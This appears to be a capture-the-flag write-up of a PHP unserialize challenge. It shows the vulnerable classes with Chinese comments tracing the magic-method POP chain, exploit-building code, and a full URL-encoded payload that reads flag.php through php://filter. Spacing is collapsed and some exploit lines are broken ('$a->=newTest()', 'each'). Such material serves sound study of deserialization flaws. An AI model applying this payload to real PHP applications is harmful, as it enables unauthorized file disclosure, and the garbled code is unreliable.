<?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!classModifier{protected$var='php://filter/read=convert.base64-encode/resource=flag.php';publicfunctionappend($value){include($value);//执行文件包含,这里可以执行伪协议读取文件}publicfunction__invoke(){//要触发他就要我们给一个变量赋值该所在类,让所在类被当做函数,我们就找能被调用的魔术方法的变量$this->append($this->var);}}classShow{public$source;public$str;publicfunction__construct($file='index.php'){$this->source=$file;echo'Welcome to '.$this->source."<br>";}publicfunction__toString(){//这里如果给str=一个类不含source就会调用如Testreturn$this->str->source;}publicfunction__wakeup(){//会将之作为字符串比较,如果所在有tostring,会调用if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i",$this->source)){echo"hacker";$this->source="index.php";}}}classTest{public$p;publicfunction__construct(){$this->p=array();}publicfunction__get($key){//这里有给p赋值类时会相当于给他执行函数,能执行invoke,所以我们要调用给p Modifier类$function=$this->p;return$function();}}if(isset($_GET['pop'])){//传参变量,当传入变量时,会调用wakeup方法,因为要调用show的方法,所以一般传入参数a=new show()
@unserialize($_GET['pop']);}else{$a=newShow;highlight_file(__FILE__);}$a=newShow('223');$a->=newTest();$a->str->p=newModifier();
$b=newShow($a)
each urlencode(serialize($b));?>
playload: ?pop=O%3A4%3A"Show"%3A2%3A{s%3A6%3A"source"%3BO%3A4%3A"Show"%3A2%3A{s%3A6%3A"source"%3BN%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A{s%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A{s%3A6%3A"%00*%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B}}}s%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A{s%3A1%3A"p"%3BN%3B}}